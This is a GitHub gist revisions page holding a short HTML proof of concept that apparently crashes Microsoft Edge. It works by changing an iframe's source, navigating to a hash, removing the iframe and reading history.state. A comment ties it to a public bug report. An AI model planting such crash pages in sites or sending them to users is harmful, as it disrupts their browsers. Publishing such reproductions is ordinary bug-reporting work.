Skip to content

Instantly share code, notes, and snippets.

@madtrapper
Forked from h0wl/edge_crash2.html
Last active August 29, 2015 14:27
Show Gist options
  • Select an option

  • Save madtrapper/bc34d040535d503f7857 to your computer and use it in GitHub Desktop.

Select an option

Save madtrapper/bc34d040535d503f7857 to your computer and use it in GitHub Desktop.

Revisions

  1. @h0wl h0wl revised this gist Aug 20, 2015. 1 changed file with 0 additions and 1 deletion.
    1 change: 0 additions & 1 deletion edge_crash2.html
    Original file line number Diff line number Diff line change
    @@ -10,7 +10,6 @@
    document.location.href = '#';
    iframe.parentNode.removeChild(iframe);
    setTimeout("alert(history.state);", 1500);
    setTimeout("window.location.reload();", 2000);
    }
    </script>
    <body onload="boom();">
  2. @h0wl h0wl created this gist Aug 20, 2015.
    19 changes: 19 additions & 0 deletions edge_crash2.html
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    <!-- based on https://connect.microsoft.com/IE/feedback/details/1683347/ms-edge-combination-of-iframe-anchor-hash-navigation-and-history-state-crashes-the-browse -->
    <!doctype html>
    <html>
    <head>
    <script>
    function boom() {
    var iframe = document.getElementById('iframe1');
    iframe.src = "http://bing.com";
    iframe.src += "";
    document.location.href = '#';
    iframe.parentNode.removeChild(iframe);
    setTimeout("alert(history.state);", 1500);
    setTimeout("window.location.reload();", 2000);
    }
    </script>
    <body onload="boom();">
    <iframe id="iframe1" width="400" height="400" src="?id=1"></iframe>
    </body>
    </html>